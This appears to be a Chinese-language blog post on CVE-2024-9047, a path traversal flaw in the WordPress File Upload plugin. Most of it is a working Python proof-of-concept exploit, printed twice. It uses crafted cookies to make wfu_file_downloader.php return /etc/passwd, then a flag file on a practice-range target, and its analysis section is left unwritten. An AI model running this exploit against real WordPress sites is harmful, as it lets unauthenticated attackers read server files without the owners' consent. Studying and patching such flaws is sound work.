CVE-2024-9047
漏洞描述
wordpress的file_upload插件存在路径遍历漏洞,漏洞位于wfu_file_downloader.php文件中,使得未经身份验证的攻击者能够读取或者删除原始意图之外的文件,成功利用这个漏洞要求目标wordpress安装使用php7.4或者更早的版本
影响版本
wordpress file upload <= 4.24.11
直接贴上利用的poc
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 
 | import requestsfrom urllib.parse import urljoin
 import time
 
 
 def fileuploadcheck(url):
 timestamp = str(int(time.time()))
 target_url = urljoin(url, "/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?"
 "file=dr0se"
 "&dboption_base=cookies"
 "&handler=dboption"
 "&session_legacy=1"
 "&dboption_useold=1"
 "&wfu_cookie=wp_wpfileupload_dr0se"
 "&ticket=dr0se")
 headers = {
 "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36",
 "Cookie": f"wp_wpfileupload_dr0se=1;"
 f" wfu_storage_dr0se=/../../../../../etc/passwd;"
 f" wfu_download_ticket_dr0se={timestamp}; "
 f"wfu_ABSPATH=/;"
 }
 
 try:
 response = requests.get(target_url, verify=False, headers=headers, timeout=10)
 print(response.text)
 except Exception as e:
 print(f"Error while checking {url}: {e}")
 
 
 if __name__ == "__main__":
 url = input()
 fileuploadcheck(url)
 
 | 
以春秋云境靶场的题目为例,

效果如下,成功实现任意文件读取
成因分析(日后补上)
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 
 | import requestsfrom urllib.parse import urljoin
 import time
 
 
 def fileuploadcheck(url):
 timestamp = str(int(time.time()))
 target_url = urljoin(url, "/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?"
 "file=dr0se"
 "&dboption_base=cookies"
 "&handler=dboption"
 "&session_legacy=1"
 "&dboption_useold=1"
 "&wfu_cookie=wp_wpfileupload_dr0se"
 "&ticket=dr0se")
 headers = {
 "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36",
 "Cookie": f"wp_wpfileupload_dr0se=1;"
 f" wfu_storage_dr0se=/../../../../../flag;"
 f" wfu_download_ticket_dr0se={timestamp}; "
 f"wfu_ABSPATH=/;"
 }
 
 try:
 response = requests.get(target_url, verify=False, headers=headers, timeout=10)
 print(response.text)
 except Exception as e:
 print(f"Error while checking {url}: {e}")
 
 
 if __name__ == "__main__":
 url = input()
 fileuploadcheck(url)
 
 |